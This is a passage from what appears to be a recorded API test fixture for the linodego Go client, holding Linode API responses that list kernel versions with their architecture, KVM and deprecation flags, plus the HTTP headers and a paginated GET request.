"deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.5-x86-linode88", "label": "4.5.5-x86-linode88", "version": "4.5.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.3-x86-linode86", "label": "4.5.3-x86-linode86", "version": "4.5.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.0-x86-linode84", "label": "4.5.0-x86-linode84", "version": "4.5.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.4-x86-linode83", "label": "4.4.4-x86-linode83", "version": "4.4.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.0-x86-linode82", "label": "4.4.0-x86-linode82", "version": "4.4.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86-linode80", "label": "4.1.5-x86-linode80", "version": "4.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86-linode79", "label": "4.1.5-x86-linode79", "version": "4.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.0-x86-linode78", "label": "4.1.0-x86-linode78", "version": "4.1.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86-linode77", "label": "4.0.5-x86-linode77", "version": "4.0.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86-linode76", "label": "4.0.5-x86-linode76", "version": "4.0.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.4-x86-linode75", "label": "4.0.4-x86-linode75", "version": "4.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.2-x86-linode74", "label": "4.0.2-x86-linode74", "version": "4.0.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86-linode73", "label": "4.0.1-x86-linode73", "version": "4.0.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86-linode72", "label": "4.0-x86-linode72", "version": "4.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.19.1-x86-linode71", "label": "3.19.1-x86-linode71", "version": "3.19.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.5-x86-linode70", "label": "3.18.5-x86-linode70", "version": "3.18.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.3-x86-linode69", "label": "3.18.3-x86-linode69", "version": "3.18.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.1-x86-linode68", "label": "3.18.1-x86-linode68", "version": "3.18.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.7-x86-linode67", "label": "3.16.7-x86-linode67", "version": "3.16.7", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.5-x86-linode65", "label": "3.16.5-x86-linode65", "version": "3.16.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.4-x86-linode64", "label": "3.15.4-x86-linode64", "version": "3.15.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.3-x86-linode63", "label": "3.15.3-x86-linode63", "version": "3.15.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.2-x86-linode62", "label": "3.15.2-x86-linode62", "version": "3.15.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86-linode61", "label": "3.14.5-x86-linode61", "version": "3.14.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86-linode60", "label": "3.14.5-x86-linode60", "version": "3.14.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.4-x86-linode59", "label": "3.14.4-x86-linode59", "version": "3.14.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.1-x86-linode58", "label": "3.14.1-x86-linode58", "version": "3.14.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.13.7-x86-linode57", "label": "3.13.7-x86-linode57", "version": "3.13.7", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.9-x86-linode56", "label": "3.12.9-x86-linode56", "version": "3.12.9", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.11.6-x86-linode54", "label": "3.11.6-x86-linode54", "version": "3.11.6", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.6-x86-linode55", "label": "3.12.6-x86-linode55", "version": "3.12.6", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.10.3-x86-linode53", "label": "3.10.3-x86-linode53", "version": "3.10.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.3-x86-linode52", "label": "3.9.3-x86-linode52", "version": "3.9.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.2-x86-linode51", "label": "3.9.2-x86-linode51", "version": "3.9.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.8.4-linode50", "label": "3.8.4-linode50", "version": "3.8.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.10-linode49", "label": "3.7.10-linode49", "version": "3.7.10", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.5-linode48", "label": "3.7.5-linode48", "version": "3.7.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.6.5-linode47", "label": "3.6.5-linode47", "version": "3.6.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.3-linode46", "label": "3.5.3-linode46", "version": "3.5.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.2-linode45", "label": "3.5.2-linode45", "version": "3.5.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-linode44", "label": "3.4.2-linode44", "version": "3.4.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.18-linode43", "label": "3.0.18-linode43", "version": "3.0.18", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.10-linode42", "label": "3.1.10-linode42", "version": "3.1.10", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.17-linode41", "label": "3.0.17-linode41", "version": "3.0.17", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-linode40", "label": "3.2.1-linode40", "version": "3.2.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.0-linode39", "label": "3.1.0-linode39", "version": "3.1.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode38", "label": "3.0.4-linode38", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode37", "label": "3.0.4-linode37", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode36", "label": "3.0.4-linode36", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0-linode35", "label": "3.0.0-linode35", "version": "3.0.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-linode34", "label": "2.6.39.1-linode34", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39-linode33", "label": "2.6.39-linode33", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38.3-linode32", "label": "2.6.38.3-linode32", "version": "2.6.38", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-linode31", "label": "2.6.38-linode31", "version": "2.6.38", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.37-linode30", "label": "2.6.37-linode30", "version": "2.6.37", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.35.7-linode29", "label": "2.6.35.7-linode29", "version": "2.6.35", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.16-linode28", "label": "2.6.32.16-linode28", "version": "2.6.32", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-linode27", "label": "2.6.34-linode27", "version": "2.6.34", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-linode25", "label": "2.6.32.12-linode25", "version": "2.6.33", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.33-linode24", "label": "2.6.33-linode24", "version": "2.6.33", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-linode23", "label": "2.6.32-linode23", "version": "2.6.32", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "2.6.18.8-linode22", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-linode21", "label": "2.6.31.5-linode21", "version": "2.6.31", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-linode20", "label": "2.6.30.5-linode20", "version": "2.6.30", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.23.17-linode44", "label": "2.6.23.17-linode44", "version": "2.6.23", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode19", "label": "2.6.18.8-linode19", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-linode18", "label": "2.6.29-linode18", "version": "2.6.29", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-linode17", "label": "2.6.28.3-linode17", "version": "2.6.28", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode16", "label": "2.6.18.8-linode16", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-linode15", "label": "2.6.28-linode15", "version": "2.6.28", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-linode14", "label": "2.6.27.4-linode14", "version": "2.6.27", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.26-linode13", "label": "2.6.26-linode13", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.25.10-linode12", "label": "2.6.25.10-linode12", "version": "2.6.25", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode10", "label": "2.6.18.8-linode10", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.25-linode9", "label": "2.6.25-linode9", "version": "2.6.25", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.24.4-linode8", "label": "2.6.24.4-linode8", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-domU-linode7", "label": "2.6.18.8-domU-linode7", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": null}, {"id": "linode/latest-2.6-64bit", "label": "Latest 2.6 (2.6.39.1-x86_64-linode19)", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.8.9-x86_64-linode164)", "version": "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "Latest Legacy (2.6.18.8-x86_64-linode10)", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 2, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=3 method: GET response: body: '{"data": [{"id": "linode/5.7.6-x86_64-linode136", "label": "5.7.6-x86_64-linode136", "version": "5.7.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86_64-linode135", "label": "5.6.14-x86_64-linode135", "version": "5.6.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86_64-linode134", "label": "5.6.1-x86_64-linode134", "version": "5.6.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86_64-linode132", "label": "5.4.10-x86_64-linode132", "version": "5.4.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86_64-linode131", "label": "5.3.11-x86_64-linode131", "version": "5.3.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86_64-linode130", "label": "5.3.7-x86_64-linode130", "version": "5.3.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86_64-linode129", "label": "5.2.9-x86_64-linode129", "version": "5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128", "label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127", "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126", "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125", "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124", "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version": "5.0.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122", "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121", "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120", "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119", "version": "4.19.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86_64-linode118", "label": "4.18.16-x86_64-linode118", "version": "4.18.16", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86_64-linode117", "label": "4.18.8-x86_64-linode117", "version": "4.18.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86_64-linode116", "label": "4.17.17-x86_64-linode116", "version": "4.17.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86_64-linode115", "label": "4.17.15-x86_64-linode115", "version": "4.17.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86_64-linode114", "label": "4.17.14-x86_64-linode114", "version": "4.17.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86_64-linode113", "label": "4.17.14-x86_64-linode113", "version": "4.17.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86_64-linode112", "label": "4.17.12-x86_64-linode112", "version": "4.17.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86_64-linode111", "label": "4.17.11-x86_64-linode111", "version": "4.17.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86_64-linode110", "label": "4.17.8-x86_64-linode110", "version": "4.17.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86_64-linode109", "label": "4.17.2-x86_64-linode109", "version": "4.17.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86_64-linode108", "label": "4.16.11-x86_64-linode108", "version": "4.16.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86_64-linode107", "label": "4.15.18-x86_64-linode107", "version": "4.15.18", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86_64-linode106", "label": "4.15.13-x86_64-linode106", "version": "4.15.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86_64-linode105", "label": "4.15.12-x86_64-linode105", "version": "4.15.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86_64-linode104", "label": "4.15.10-x86_64-linode104", "version": "4.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86_64-linode103", "label": "4.15.8-x86_64-linode103", "version": "4.15.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86_64-linode102", "label": "4.15.7-x86_64-linode102", "version": "4.15.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86_64-linode100", "label": "4.14.19-x86_64-linode100", "version": "4.14.19", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86_64-linode99", "label": "4.14.17-x86_64-linode99", "version": "4.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86_64-linode98", "label": "4.9.80-x86_64-linode98", "version": "4.9.80", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86_64-linode97", "label": "4.4.115-x86_64-linode97", "version": "4.4.115", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86_64-linode96", "label": "4.4.113-x86_64-linode96", "version": "4.4.113", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86_64-linode95", "label": "4.9.78-x86_64-linode95", "version": "4.9.78", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86_64-linode94", "label": "4.14.14-x86_64-linode94", "version": "4.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86_64-linode93", "label": "4.14.14-x86_64-linode93", "version": "4.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86_64-linode88", "label": "4.9.64-x86_64-linode88", "version": "4.9.64", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86_64-linode89", "label": "4.9.68-x86_64-linode89", "version": "4.9.68", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86_64-linode92", "label": "4.14.12-x86_64-linode92", "version": "4.14.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86_64-linode91", "label": "4.14.11-x86_64-linode91", "version": "4.14.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86_64-linode87", "label": "4.9.56-x86_64-linode87", "version": "4.9.56", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86_64-linode86", "label": "4.9.50-x86_64-linode86", "version": "4.9.50", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86_64-linode85", "label": "4.9.36-x86_64-linode85", "version": "4.9.36", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86_64-linode83", "label": "4.9.33-x86_64-linode83", "version": "4.9.33", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86_64-linode81", "label": "4.9.15-x86_64-linode81", "version": "4.9.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86_64-linode80", "label": "4.9.7-x86_64-linode80", "version": "4.9.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86_64-linode79", "label": "4.9.0-x86_64-linode79", "version": "4.9.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86_64-linode78", "label": "4.8.6-x86_64-linode78", "version": "4.8.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86_64-linode77", "label": "4.8.4-x86_64-linode77", "version": "4.8.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86_64-linode76", "label": "4.8.3-x86_64-linode76", "version": "4.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.1-x86_64-linode75", "label": "4.8.1-x86_64-linode75", "version": "4.8.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86_64-linode73", "label": "4.7.3-x86_64-linode73", "version": "4.7.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86_64-linode72", "label": "4.7.0-x86_64-linode72", "version": "4.7.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.5-x86_64-linode71", "label": "4.6.5-x86_64-linode71", "version": "4.6.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.3-x86_64-linode70", "label": "4.6.3-x86_64-linode70", "version": "4.6.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.5-x86_64-linode69", "label": "4.5.5-x86_64-linode69", "version": "4.5.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.3-x86_64-linode67", "label": "4.5.3-x86_64-linode67", "version": "4.5.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.0-x86_64-linode65", "label": "4.5.0-x86_64-linode65", "version": "4.5.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.4-x86_64-linode64", "label": "4.4.4-x86_64-linode64", "version": "4.4.4", "kvm": true, "architecture": 